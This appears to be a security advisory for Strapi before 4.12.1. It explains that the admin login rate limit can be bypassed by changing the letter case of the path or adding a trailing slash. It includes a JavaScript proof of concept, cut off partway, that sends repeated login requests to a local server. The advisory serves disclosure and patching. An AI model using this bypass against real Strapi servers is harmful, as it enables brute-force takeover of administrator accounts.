Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.

Affected: npm: @strapi/admin, npm: @strapi/plugin-users-permissions

### 1. Summary There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

### 2. Details It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2)

### 3. PoC Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.

#### Pattern 1 (uppercase and lowercase) ```js // poc.js (async () => { const data1 = { email: "admin@strapi.com", // registered e-mail address password: "invalid_password", }; const data2 = { email: "admin@strapi.com", password: "RyG5z-CE2-]*4e4", // correct password };

for (let i = 0; i < 30; i++) { await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data1), headers: { "Content-Type": "application/json", }, }); }

const res1 = await fetch("http://localhost:1337/admin/login", { method: "POST", body: JSON.stringify(data2), headers: { "Content-Type": "application/json", }, }); console.log(res1.status + " " + res1.statusText);

const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path method: "POST", body: JSON.stringify(data2), headers: { "Conte…